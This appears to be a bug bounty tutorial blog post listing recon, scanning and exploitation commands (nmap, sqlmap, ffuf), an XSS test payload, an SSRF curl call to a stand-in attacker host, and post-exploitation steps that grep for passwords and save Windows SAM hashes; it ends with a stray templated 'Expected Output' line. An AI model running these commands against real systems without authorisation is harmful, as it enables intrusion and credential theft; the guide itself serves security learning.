Bug bounty hunting is a lucrative and challenging field in cybersecurity. Security engineers and penetration testers like Baskar Mariyappan leverage their skills to identify vulnerabilities in web and mobile applications, APIs, and more. Below, we dive into key techniques, tools, and commands used in bug bounty hunting.
You Should Know:
1. Reconnaissance & Target Mapping
Before attacking, gather as much information as possible:
Subdomain Enumeration subfinder -d target.com -o subdomains.txt amass enum -d target.com -o amass_results.txt Wayback Machine for historical data waybackurls target.com | tee urls.txt Port Scanning with Nmap nmap -sV -T4 -p- -A target.com -oN nmap_scan.txt
2. Vulnerability Scanning
Automate initial scans with tools like Burp Suite, Nikto, and Nuclei:
Nikto Web Scanner nikto -h https://target.com -output nikto_scan.txt Nuclei for Template-Based Scanning nuclei -u https://target.com -t ~/nuclei-templates/ -o nuclei_results.txt
3. Exploiting Common Web Vulnerabilities
- SQL Injection:
sqlmap -u "https://target.com/login?id=1" --dbs --batch
- XSS (Cross-Site Scripting):
Test with payloads like: <script>alert(1)</script>
- SSRF (Server-Side Request Forgery):
Use Burp Collaborator or interactsh: curl "http://target.com/fetch?url=http://attacker-controlled.com"
4. API Security Testing
APIs are a goldmine for vulnerabilities:
Fuzzing API endpoints with FFUF ffuf -w wordlist.txt -u https://target.com/api/FUZZ -mc 200 Testing for JWT Vulnerabilities python3 jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
5. Post-Exploitation & Reporting
- Extract sensitive data:
Linux: Search for credentials grep -r "password" /var/www/html/ Windows: Dump SAM hashes reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save
- Submit findings via platforms like HackerOne, Bugcrowd, or direct programs.
What Undercode Say:
Bug bounty hunting requires persistence, automation, and deep knowledge of vulnerabilities. Mastering tools like Burp Suite, SQLMap, and Nmap is crucial. Always stay updated with new attack techniques and practice on legal platforms like Hack The Box or TryHackMe.
Prediction:
As AI-driven security tools evolve, bug bounty hunters will increasingly rely on automation for reconnaissance and vulnerability detection. However, manual testing for logic flaws and business logic vulnerabilities will remain indispensable.
Expected Output:
A structured, actionable bug bounty methodology with verified commands and tools for efficient vulnerability discovery.
